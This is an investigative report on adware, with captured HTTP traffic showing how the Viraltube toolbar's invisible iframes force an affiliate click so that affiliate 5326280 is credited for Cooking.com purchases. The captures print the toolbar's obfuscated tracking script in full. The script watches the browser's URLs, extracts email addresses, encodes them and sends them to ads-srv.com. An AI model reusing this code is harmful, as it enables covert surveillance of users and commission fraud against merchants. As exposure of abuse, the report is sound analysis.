Our crawler requests Cooking.com on a virtual computer running the Viraltube toolbar. Viraltube creates an invisible IFRAME (CSS style of display:none, flagged in blue highlighting below) loading Ads-srv's stat.html, then stat.html creates a further invisible IFRAME (again CSS style of display:none). This second IFRAME loads stat.php which redirects to Marsads which redirects to the CJ click link with ID 5326280 and back to Cooking.com.
Users see nothing notable on screen. (See a screenshot of the resulting on-screen display.) But the invisible IFRAMEs shares cookies with the user's actual browser window. Thus, if the user makes a purchase from Cooking.com, this affiliate 5326280 gets paid a commission -- even though this affiliate did nothing to facilitate the transaction.
Violations: Lead stealing, adware, invisibility (two levels of CSS display:none), forced click.
GET http://tags.toolbarsmedia.com/publishers_tags/gpygo_en_50x24_toolbar_js.php ...
Accept: */*
Referer: http://storage.conduit.com/9/315/CT3150609/BrowserFiles/a3e2f2fe-94a7-417a-81e3-b3d80c4ab1d0.html
Accept-Language: en-us
User-Agent: ...
Proxy-Connection: Keep-Alive
Host: tags.toolbarsmedia.com
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Sat, 17 Nov 2012 06:49:39 GMT
Content-Type: application/javascript
X-Powered-By: PHP/5.3.2-1ubuntu4.7ppa5~lucid1
Connection: Close
Proxy-Connection: Close
document.write('<iframe id="ifrm_preview" src="http://tags.toolbarsmedia.com/static_tags/137.html#p1=2483&p2=babylon_new_toolbar_dynamic_tag_20p" border="0" scrolling="no" width="50px" height="24px" frameborder="0"></iframe>');
document.write('<iframe id="tbm_stat" src="http://tags1.ads-srv.com/track/stat.html#mid=48&ppid=233" style="display:none"></iframe>');
document.write('<iframe id="tbm_stat_target" src="http://tags2.ads-srv.com/track/stat_target.html#mid=48" style="display:none"></iframe>');
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-17527536-43']);
_gaq.push(['_setDomainName', 'none']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
GET http://tags1.ads-srv.com/track/stat.html ...
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://storage.conduit.com/9/315/CT3150609/BrowserFiles/a3e2f2fe-94a7-417a-81e3-b3d80c4ab1d0.html
Accept-Language: en-us
User-Agent: ...
Proxy-Connection: Keep-Alive
Host: tags1.ads-srv.com
HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Sat, 17 Nov 2012 06:49:40 GMT
Content-Type: text/html
Content-Length: 4308
Last-Modified: Wed, 21 Dec 2011 15:08:36 GMT
Accept-Ranges: bytes
Connection: Keep-Alive
Proxy-Connection: Keep-Alive
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<script type="text/javascript" language="javascript" src="http://api.conduit.com/BrowserCompApi.js"></script>
</head>
<body>
<iframe id="tbm_stat" src="" style="display:none;"></iframe>
<script type="text/javascript">
var macros = {};
//var titlePattern = /([a-z0-9]+?[a-z1-9\.\-\_]*[a-z0-9]@[a-z1-9\.\-\_]+\.(?:com|org|net|gov|mil|biz|info|mobi|name|aero|jobs|museum|[a-z]{2}))/i;
var titlePattern = /[a-zA-Z0-9_\-\.]+@[a-zA-Z0-9_\-\.]+\.[a-zA-Z]{2,5}/i;
var curURL = '';
var curDomain = '';
var curSearchTerm= '';
Array.prototype.each = function(iterator) {for (var i = 0, length = this.length; i < length; i++) iterator(this[i], i);};
window.location.hash.substring(1).split('&').each(function(item)
{
var v = item.split('=');
macros[v[0]] = v[1];
});
if (!macros['mid'])
{
d_hash = new Date();
session_hash = d_hash.getTime()+'6HV3fyrdruxoJiPrmFOEqrLSimv9ZVjFZuDeeu2Thd8ahhumTV2GnGiFK1c8oz3Z';
window.location = "http://tags.ads-srv.com/?session="+session_hash;
}
if (!macros['ppid'])
{
macros['ppid'] = 0;
}
function readCookie(name)
{
var nameEQ = name + "=";
var val = false;
document.cookie.split(';').each(function(item)
{
while (item.charAt(0)==' ') item = item.substring(1,item.length);
if (item.indexOf(nameEQ) === 0) val = item.substring(nameEQ.length);
});
return val;
}
if (!readCookie('__utmt'))
{
var date = new Date();
date.setTime(date.getTime()+67346880000);
var guid = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8); return v.toString(16);}).toUpperCase();
document.cookie = "__utmt="+guid+"; expires="+date.toGMTString()+"; path=/";
document.cookie = "__utmt="+guid+"; expires="+date.toGMTString()+"; path=/track/";
}
setInterval(function()
{
var thisURL = GetMainFrameUrl();
if (curURL != thisURL)
{
var thisTitle = titlePattern.exec(GetMainFrameTitle());
thisTitle = (thisTitle && thisTitle[0]) ? thisTitle[0] : '';
if (thisTitle == '') {
var thisTitle = titlePattern.exec(thisURL);
thisTitle = (thisTitle && thisTitle[0]) ? thisTitle[0] : '';
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7 1="t+/=";v y(b){7 m="";7 e,c,a;7 k,j,f,9;7 i=0;7 n="";7 g="";w(i<b.l){e=b.h(i++);c=b.h(i++);a=b.h(i++);k=e>>2;j=((e&3)<<4)|(c>>4);f=((c&x)<<2)|(a>>6);9=a&z;o(p(c)){f=9=r}A o(p(a)){9=r}m+=(1.8(k)+1.8(j)+1.8(f)+1.8(9))}B(7 i=0;i<5;i++){n+=1.8(d.s(d.q()*1.l));g+=1.8(d.s(d.q()*1.l))}u n+m+g}',38,38,'|keyStr||||||var|charAt|enc4|chr3|input|chr2|Math|chr1|enc3|k2|charCodeAt||enc2|enc1|length|output|k1|if|isNaN|random|64|floor|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|return|function|while|15|go2e|63|else|for'.split('|'),0,{}))
thisURLs = go2e(thisURL);
thisTitles = go2e(thisTitle);
document.getElementById('tbm_stat').src = "http://tags1.ads-srv.com/track/stat.php?mid="+macros['mid']+"&ppid="+macros['ppid']+"&s=s&url="+escape(thisURLs)+"&tdata="+escape(thisTitles);
curURL = thisURL;
}
}, 1000);
</script>
</body>
</html>
GET http://tags1.ads-srv.com/track/stat.php?mid=48&ppid=233&s=s&url=BB%3D+OaHR0cDovL3d3dy5jb29raW5nLmNvbS8%3DOl52%3D&tdata=CFbULLFvsq ...
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://tags1.ads-srv.com/track/stat.html
Accept-Language: en-us
User-Agent: ...
Proxy-Connection: Keep-Alive
Host: tags1.ads-srv.com
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.2.1
Date: Sat, 17 Nov 2012 06:49:44 GMT
Content-Type: text/html
X-Powered-By: PHP/5.3.2-1ubuntu4.7ppa5~lucid1
Set-Cookie: p_2664_2012-11-17_01=1; expires=Sun, 18-Nov-2012 06:49:44 GMT; path=/; domain=.ads-srv.com
Set-Cookie: p_2664_2012-11-17_01=1; expires=Sun, 18-Nov-2012 06:49:44 GMT; path=/; domain=.right-ads.com
location: http://srv9.marsads.com/srv/click/?prd_id=2664&pub_id=233¶m1=48¶m3=
Connection: Close
Proxy-Connection: Close
GET http://srv9.marsads.com/srv/click/?prd_id=2664&pub_id=233¶m1=48¶m3= ...
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://tags1.ads-srv.com/track/stat.html
Accept-Language: en-us
User-Agent: ...
Proxy-Connection: Keep-Alive
Host: srv9.marsads.com
HTTP/1.1 200 OK
Server: nginx/1.0.4
Date: Sat, 17 Nov 2012 06:49:44 GMT
Content-Type: text/html
Set-Cookie: PHPSESSID=499re5m27utspvlkt10gsuab85; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: a=0; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: cid=0; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: ver=deleted; expires=Fri, 18-Nov-2011 06:49:43 GMT; path=/; domain=.marsads.com
Set-Cookie: etfp=0; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: etap=0; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: product_id=2664; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: publisher_id=233; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: placement_id=0; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: advertiser_id=9; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: referer=http%3A%2F%2Ftags1.ads-srv.com%2Ftrack%2Fstat.html; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: pid=0; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: nid=0; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: keyword=deleted; expires=Fri, 18-Nov-2011 06:49:43 GMT; path=/; domain=.marsads.com
Set-Cookie: ref=deleted; expires=Fri, 18-Nov-2011 06:49:43 GMT; path=/; domain=.marsads.com
Set-Cookie: exit_datetime=2012-11-17+08%3A49%3A44; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: click_id=P9P173642251; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Set-Cookie: uid=50a73388b35039.22064600; expires=Thu, 16-May-2013 06:49:44 GMT; path=/; domain=.marsads.com
Connection: Close
Proxy-Connection: Close
<script type="text/javascript" language="javascript">window.location = 'http://www.dpbolvw.net/click-5326280-10377546/?sid=P9P173642251';</script>
GET http://www.dpbolvw.net/click-5326280-10377546/?sid=P9P173642251 ...
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://srv9.marsads.com/srv/click/?prd_id=2664&pub_id=233¶m1=48¶m3=
Accept-Language: en-us
User-Agent: ...
Proxy-Connection: Keep-Alive
Host: www.dpbolvw.net
... 302 Found
Server: Resin/3.1.8
P3P: policyref="http://www.dpbolvw.net/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"
Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Sat, 17 Nov 2012 06:49:45 GMT
Location: http://www.apmebf.com/p979gv32L/v16/KJMQQONP/OMLPLRJ/J/J/J?m=rH72%3DoYoQWSVTRRUQ<<6IIE%3A%2F%2FLLL.2E0DAKL.C3I%3AXP%2F1A719-USRVRXP-QPSWWUTV%2F<<f<6IIE%3A%2F%2FHGKY.BzGHz2H.1DB%2FHGK%2F1A719%2F%3FEG2_72%3DRVVT%26EJ0_72%3DRSS%26EzGzBQ%3DTX%26EzGzBS%3D<
Content-Type: text/html
Date: Sat, 17 Nov 2012 06:49:45 GMT
Connection: Close
Proxy-Connection: Close
<html>
<head><meta http-equiv="redirect" content="http://www.apmebf.com/p979gv32L/v16/KJMQQONP/OMLPLRJ/J/J/J?m=rH72%3DoYoQWSVTRRUQ<<6IIE%3A%2F%2FLLL.2E0DAKL.C3I%3AXP%2F1A719-USRVRXP-QPSWWUTV%2F<<f<6IIE%3A%2F%2FHGKY.BzGHz2H.1DB%2FHGK%2F1A719%2F%3FEG2_72%3DRVVT%26EJ0_72%3DRSS%26EzGzBQ%3DTX%26EzGzBS%3D<"></head>
<body>The URL has moved <a href="http://www.apmebf.com/p979gv32L/v16/KJMQQONP/OMLPLRJ/J/J/J?m=rH72%3DoYoQWSVTRRUQ<<6IIE%3A%2F%2FLLL.2E0DAKL.C3I%3AXP%2F1A719-USRVRXP-QPSWWUTV%2F<<f<6IIE%3A%2F%2FHGKY.BzGHz2H.1DB%2FHGK%2F1A719%2F%3FEG2_72%3DRVVT%26EJ0_72%3DRSS%26EzGzBQ%3DTX%26EzGzBS%3D<">here</a></body></html>
GET http://www.apmebf.com/p979gv32L/v16/KJMQQONP/OMLPLRJ/J/J/J?m=rH72%3DoYoQWSVTRRUQ<<6IIE%3A%2F%2FLLL.2E0DAKL.C3I%3AXP%2F1A719-USRVRXP-QPSWWUTV%2F<<f<6IIE%3A%2F%2FHGKY.BzGHz2H.1DB%2FHGK%2F1A719%2F%3FEG2_72%3DRVVT%26EJ0_72%3DRSS%26EzGzBQ%3DTX%26EzGzBS%3D< ...
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://srv9.marsads.com/srv/click/?prd_id=2664&pub_id=233¶m1=48¶m3=
Accept-Language: en-us
User-Agent: ...
Proxy-Connection: Keep-Alive
Host: www.apmebf.com
Cookie: S=w4iph4-12704-1338925702679-ab; LCLK=cjo!wj6s-te4b1vp-wiuk-ssjnui0-w8ca-9rtgwxy-j5ff-20r5cxo-wk96-t4qnv4hl-w5ok-t4uv3tsm-wf7y-20r5clo-wjcw-5zprsl3-wnip-ssjnl50-wc4v-te4yqis-wnj0-t4uv0q34-5ht1-te4yqrs-wm9k-ssjnee0-wcrk-t4uv0xx4-whj9-te4yz0p-kf1e-ssj29yf-wkoe-t4qnpym8-w7a2-7ja4g5p-wn2i-t4qnp7ln-w5pe-5zp8zxe-w981-glvgb8q-we7q-20r5tgm-wo3r-t4qnpu6c-w5ve-20r51s5-w6t3-7jtc5rt-wkbo-7jtywvj-w86q-5zplape-je1u-t4uvwbfo-wkhc-9rtacuy-m7hb-ssj21hl-wnkb-glvgwpw-wc0u-t4qowwc8-wm3o-20rdju5-w5sx-t4qowwz6-wnl1-ssj0bvy-waex-ssj05gd
... 302 Found
Server: Resin/3.1.8
P3P: policyref="http://www.apmebf.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"
Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Sat, 17 Nov 2012 06:49:45 GMT
Location: http://www.emjcd.com/8n70qgpo8/gns/547BB98A/976A6C4/4/-8mtl8356B483577CD69B46ABD3ef/jD6e9CAC74C655i6C4g4C8CjADjhBCfh?s=f9zu%3DgQgIOKNLJJMI<t05!DMCz-JH8ME83-D0N9-AvLsIC6-DzB1-9904BzH-DPtr-Q8AxDEF-0Mww-JH8MtE5-D1QN-AL74CLy2-DM51-ALBCKA93-DwOF-JH8Mt25-D0tD-MG6892K-D4z6-99042MH-DtLC-AvLF7z9-D40H-ALBCH7KL-MyAI-AvLF789-D3Q1-9904vvH-Dt81-ALBCHEEL-Dy0Q-AvLFGH6-1wIv-990JQFw-D15v-AL746F3P-DOrJ-O0rLxM6-D4Jz-AL746O24-DM6v-MG6PGEv-DQPI-x2CxsP7-DvO7-JH8MAx3-D5K8-AL746BNt-DMCv-JH8MI9M-DNAK-O0AtM8A-D1s5-O0AFDC0-DPN7-MG62r6v-0vIB-ALBCDsw5-D1yt-Q8ArtBF-3Oys-990JIy2-D41s-x2CxD6D-DtHB-AL75DDtP-D3K5-JH8u0BM-DM9E-AL75DDGN-D42I-990HsCF-DrvE-990HMxu<yAA6%3A%2F%2FDDD.u6s52CD.4vA%3APH%2Ft2zt1-MKJNJPH-IHKOOMLN%2F<<X<yAA6%3A%2F%2F98CQ.3r89ru9.t53%2F98C%2Ft2zt1%2F%3F68u_zu%3DJNNL%266Bs_zu%3DJKK%266r8r3I%3DLP%266r8r3K%3D<
Set-Cookie: LCLK=cjo!w5vi-20r5xrm-wj6s-te4b1vp-wiuk-ssjnui0-w8ca-9rtgwxy-j5ff-20r5cxo-wk96-t4qnv4hl-w5ok-t4uv3tsm-wf7y-20r5clo-wjcw-5zprsl3-wnip-ssjnl50-wc4v-te4yqis-wnj0-t4uv0q34-5ht1-te4yqrs-wm9k-ssjnee0-wcrk-t4uv0xx4-whj9-te4yz0p-kf1e-ssj29yf-wkoe-t4qnpym8-w7a2-7ja4g5p-wn2i-t4qnp7ln-w5pe-5zp8zxe-w981-glvgb8q-we7q-20r5tgm-wo3r-t4qnpu6c-w5ve-20r51s5-w6t3-7jtc5rt-wkbo-7jtywvj-w86q-5zplape-je1u-t4uvwbfo-wkhc-9rtacuy-m7hb-ssj21hl-wnkb-glvgwpw-wc0u-t4qowwc8-wm3o-20rdju5-w5sx-t4qowwz6-wnl1-ssj0bvy-waex-ssj05gd; domain=.apmebf.com; path=/; expires=Thu, 16-Nov-2017 06:49:45 GMT
Content-Type: text/html
Date: Sat, 17 Nov 2012 06:49:45 GMT
Connection: Close
Proxy-Connection: Close
<html>
<head><meta http-equiv="redirect" content="http://www.emjcd.com/8n70qgpo8/gns/547BB98A/976A6C4/4/-8mtl8356B483577CD69B46ABD3ef/jD6e9CAC74C655i6C4g4C8CjADjhBCfh?s=f9zu%3DgQgIOKNLJJMI<t05!DMCz-JH8ME83-D0N9-AvLsIC6-DzB1-9904BzH-DPtr-Q8AxDEF-0Mww-JH8MtE5-D1QN-AL74CLy2-DM51-ALBCKA93-DwOF-JH8Mt25-D0tD-MG6892K-D4z6-99042MH-DtLC-AvLF7z9-D40H-ALBCH7KL-MyAI-AvLF789-D3Q1-9904vvH-Dt81-ALBCHEEL-Dy0Q-AvLFGH6-1wIv-990JQFw-D15v-AL746F3P-DOrJ-O0rLxM6-D4Jz-AL746O24-DM6v-MG6PGEv-DQPI-x2CxsP7-DvO7-JH8MAx3-D5K8-AL746BNt-DMCv-JH8MI9M-DNAK-O0AtM8A-D1s5-O0AFDC0-DPN7-MG62r6v-0vIB-ALBCDsw5-D1yt-Q8ArtBF-3Oys-990JIy2-D41s-x2CxD6D-DtHB-AL75DDtP-D3K5-JH8u0BM-DM9E-AL75DDGN-D42I-990HsCF-DrvE-990HMxu<yAA6%3A%2F%2FDDD.u6s52CD.4vA%3APH%2Ft2zt1-MKJNJPH-IHKOOMLN%2F<<X<yAA6%3A%2F%2F98CQ.3r89ru9.t53%2F98C%2Ft2zt1%2F%3F68u_zu%3DJNNL%266Bs_zu%3DJKK%266r8r3I%3DLP%266r8r3K%3D<"></head>
<body>The URL has moved <a href="http://www.emjcd.com/8n70qgpo8/gns/547BB98A/976A6C4/4/-8mtl8356B483577CD69B46ABD3ef/jD6e9CAC74C655i6C4g4C8CjADjhBCfh?s=f9zu%3DgQgIOKNLJJMI<t05!DMCz-JH8ME83-D0N9-AvLsIC6-DzB1-9904BzH-DPtr-Q8AxDEF-0Mww-JH8MtE5-D1QN-AL74CLy2-DM51-ALBCKA93-DwOF-JH8Mt25-D0tD-MG6892K-D4z6-99042MH-DtLC-AvLF7z9-D40H-ALBCH7KL-MyAI-AvLF789-D3Q1-9904vvH-Dt81-ALBCHEEL-Dy0Q-AvLFGH6-1wIv-990JQFw-D15v-AL746F3P-DOrJ-O0rLxM6-D4Jz-AL746O24-DM6v-MG6PGEv-DQPI-x2CxsP7-DvO7-JH8MAx3-D5K8-AL746BNt-DMCv-JH8MI9M-DNAK-O0AtM8A-D1s5-O0AFDC0-DPN7-MG62r6v-0vIB-ALBCDsw5-D1yt-Q8ArtBF-3Oys-990JIy2-D41s-x2CxD6D-DtHB-AL75DDtP-D3K5-JH8u0BM-DM9E-AL75DDGN-D42I-990HsCF-DrvE-990HMxu<yAA6%3A%2F%2FDDD.u6s52CD.4vA%3APH%2Ft2zt1-MKJNJPH-IHKOOMLN%2F<<X<yAA6%3A%2F%2F98CQ.3r89ru9.t53%2F98C%2Ft2zt1%2F%3F68u_zu%3DJNNL%266Bs_zu%3DJKK%266r8r3I%3DLP%266r8r3K%3D<">here</a></body></html>
GET http://www.emjcd.com/8n70qgpo8/gns/547BB98A/976A6C4/4/-8mtl8356B483577CD69B46ABD3ef/jD6e9CAC74C655i6C4g4C8CjADjhBCfh?s=f9zu%3DgQgIOKNLJJMI<t05!DMCz-JH8ME83-D0N9-AvLsIC6-DzB1-9904BzH-DPtr-Q8AxDEF-0Mww-JH8MtE5-D1QN-AL74CLy2-DM51-ALBCKA93-DwOF-JH8Mt25-D0tD-MG6892K-D4z6-99042MH-DtLC-AvLF7z9-D40H-ALBCH7KL-MyAI-AvLF789-D3Q1-9904vvH-Dt81-ALBCHEEL-Dy0Q-AvLFGH6-1wIv-990JQFw-D15v-AL746F3P-DOrJ-O0rLxM6-D4Jz-AL746O24-DM6v-MG6PGEv-DQPI-x2CxsP7-DvO7-JH8MAx3-D5K8-AL746BNt-DMCv-JH8MI9M-DNAK-O0AtM8A-D1s5-O0AFDC0-DPN7-MG62r6v-0vIB-ALBCDsw5-D1yt-Q8ArtBF-3Oys-990JIy2-D41s-x2CxD6D-DtHB-AL75DDtP-D3K5-JH8u0BM-DM9E-AL75DDGN-D42I-990HsCF-DrvE-990HMxu<yAA6%3A%2F%2FDDD.u6s52CD.4vA%3APH%2Ft2zt1-MKJNJPH-IHKOOMLN%2F<<X<yAA6%3A%2F%2F98CQ.3r89ru9.t53%2F98C%2Ft2zt1%2F%3F68u_zu%3DJNNL%266Bs_zu%3DJKK%266r8r3I%3DLP%266r8r3K%3D< ...
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://srv9.marsads.com/srv/click/?prd_id=2664&pub_id=233¶m1=48¶m3=
Accept-Language: en-us
User-Agent: ...
Proxy-Connection: Keep-Alive
Cookie: S=w4iph4-12704-1338925702679-ab; LCLK=cjo!wj6s-te4b1vp-wiuk-ssjnui0-w8ca-9rtgwxy-j5ff-20r5cxo-wk96-t4qnv4hl-w5ok-t4uv3tsm-wf7y-20r5clo-wjcw-5zprsl3-wnip-ssjnl50-wc4v-te4yqis-wnj0-t4uv0q34-5ht1-te4yqrs-wm9k-ssjnee0-wcrk-t4uv0xx4-whj9-te4yz0p-kf1e-ssj29yf-wkoe-t4qnpym8-w7a2-7ja4g5p-wn2i-t4qnp7ln-w5pe-5zp8zxe-w981-glvgb8q-we7q-20r5tgm-wo3r-t4qnpu6c-w5ve-20r51s5-w6t3-7jtc5rt-wkbo-7jtywvj-w86q-5zplape-je1u-t4uvwbfo-wkhc-9rtacuy-m7hb-ssj21hl-wnkb-glvgwpw-wc0u-t4qowwc8-wm3o-20rdju5-w5sx-t4qowwz6-wnl1-ssj0bvy-waex-ssj05gd; PBLP=1517860:5326280:1353134938446:cjo-1517420:4202588:1353134614915:cjo-1503802:5326280:1353134591584:cjo-893499:5326280:1353134354863:cjo-1519242:5326280:1353134331834:cjo-1500356:5326280:1353134295635:cjo-1512718:5326280:1353134265142:cjo-1518080:5326280:1353134212083:cjo-1523473:5326280:1353133841209:cjo-1508719:5326280:1353133761672:cjo-1523484:5326280:1353133629941:cjo-1509536:5326280:1353133043799:cjo-1515717:5326280:1353132687524:cjo-952610:5326280:1353132319721:cjo-1502426:5326280:1353132108819:cjo-1522890:5326280:1353131673893:cjo-1500386:5326280:1353131160640:cjo-1504945:5326280:1353131090062:cjo-1511414:5326280:1353130853986:cjo-1500602:4202588:1353130132380:cjo-1501815:5326280:1353130070625:cjo-1519332:5326280:1353129991522:cjo-1503602:5326280:1353129136123:cjo-1519536:5326280:1353128743295:cjo-1036127:5326280:1353128649021:cjo-1523531:5326280:1353128304398:cjo-1508574:5326280:1353128248691:cjo-1521636:5326280:1353128217300:cjo-1500513:5326280:1353128104240:cjo-1523557:5326280:1353128021799:cjo-1506489:5326280:1353127900416:cjo-1511693:5326280:1338945049778:cjo
Host: www.emjcd.com
... 302 Found
Server: Resin/3.1.8
P3P: policyref="http://www.emjcd.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"
Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Sat, 17 Nov 2012 06:49:46 GMT
Location: http://www.cooking.com/?AID=10377546&PID=5326280&SID=P9P173642251&CCAID=AFFL1
Set-Cookie: LCLK=cjo!w5vi-20r5xrm-wj6s-te4b1vp-wiuk-ssjnui0-w8ca-9rtgwxy-j5ff-20r5cxo-wk96-t4qnv4hl-w5ok-t4uv3tsm-wf7y-20r5clo-wjcw-5zprsl3-wnip-ssjnl50-wc4v-te4yqis-wnj0-t4uv0q34-5ht1-te4yqrs-wm9k-ssjnee0-wcrk-t4uv0xx4-whj9-te4yz0p-kf1e-ssj29yf-wkoe-t4qnpym8-w7a2-7ja4g5p-wn2i-t4qnp7ln-w5pe-5zp8zxe-w981-glvgb8q-we7q-20r5tgm-wo3r-t4qnpu6c-w5ve-20r51s5-w6t3-7jtc5rt-wkbo-7jtywvj-w86q-5zplape-je1u-t4uvwbfo-wkhc-9rtacuy-m7hb-ssj21hl-wnkb-glvgwpw-wc0u-t4qowwc8-wm3o-20rdju5-w5sx-t4qowwz6-wnl1-ssj0bvy-waex-ssj05gd; domain=.emjcd.com; path=/; expires=Thu, 16-Nov-2017 06:49:46 GMT
Set-Cookie: PBLP=1517860:5326280:1353134938446:cjo-1517420:4202588:1353134614915:cjo-1503802:5326280:1353134591584:cjo-893499:5326280:1353134354863:cjo-1519242:5326280:1353134331834:cjo-1500356:5326280:1353134295635:cjo-1512718:5326280:1353134265142:cjo-1518080:5326280:1353134212083:cjo-1523473:5326280:1353133841209:cjo-1508719:5326280:1353133761672:cjo-1523484:5326280:1353133629941:cjo-1509536:5326280:1353133043799:cjo-1515717:5326280:1353132687524:cjo-952610:5326280:1353132319721:cjo-1502426:5326280:1353132108819:cjo-1522890:5326280:1353131673893:cjo-1500386:5326280:1353131160640:cjo-1504945:5326280:1353131090062:cjo-1511414:5326280:1353130853986:cjo-1500602:4202588:1353130132380:cjo-1501815:5326280:1353130070625:cjo-1519332:5326280:1353129991522:cjo-1503602:5326280:1353129136123:cjo-1519536:5326280:1353128743295:cjo-1036127:5326280:1353128649021:cjo-1523531:5326280:1353128304398:cjo-1508574:5326280:1353128248691:cjo-1521636:5326280:1353128217300:cjo-1500513:5326280:1353128104240:cjo-1523557:5326280:1353128021799:cjo-1506489:5326280:1353127900416:cjo-1511693:5326280:1338945049778:cjo; domain=.emjcd.com; path=/; expires=Thu, 16-Nov-2017 06:49:46 GMT
Set-Cookie: PBLP=1500606:5326280:1353134986586:cjo-1517860:5326280:1353134938446:cjo-1517420:4202588:1353134614915:cjo-1503802:5326280:1353134591584:cjo-893499:5326280:1353134354863:cjo-1519242:5326280:1353134331834:cjo-1500356:5326280:1353134295635:cjo-1512718:5326280:1353134265142:cjo-1518080:5326280:1353134212083:cjo-1523473:5326280:1353133841209:cjo-1508719:5326280:1353133761672:cjo-1523484:5326280:1353133629941:cjo-1509536:5326280:1353133043799:cjo-1515717:5326280:1353132687524:cjo-952610:5326280:1353132319721:cjo-1502426:5326280:1353132108819:cjo-1522890:5326280:1353131673893:cjo-1500386:5326280:1353131160640:cjo-1504945:5326280:1353131090062:cjo-1511414:5326280:1353130853986:cjo-1500602:4202588:1353130132380:cjo-1501815:5326280:1353130070625:cjo-1519332:5326280:1353129991522:cjo-1503602:5326280:1353129136123:cjo-1519536:5326280:1353128743295:cjo-1036127:5326280:1353128649021:cjo-1523531:5326280:1353128304398:cjo-1508574:5326280:1353128248691:cjo-1521636:5326280:1353128217300:cjo-1500513:5326280:1353128104240:cjo-1523557:5326280:1353128021799:cjo-1506489:5326280:1353127900416:cjo-1511693:5326280:1338945049778:cjo; domain=.emjcd.com; path=/; expires=Thu, 16-Nov-2017 06:49:46 GMT
Content-Type: text/html
Date: Sat, 17 Nov 2012 06:49:46 GMT
Connection: Close
Proxy-Connection: Close
<html>
<head><meta http-equiv="redirect" content="http://www.cooking.com/?AID=10377546&PID=5326280&SID=P9P173642251&CCAID=AFFL1"></head>
<body>The URL has moved <a href="http://www.cooking.com/?AID=10377546&PID=5326280&SID=P9P173642251&CCAID=AFFL1">here</a></body></html>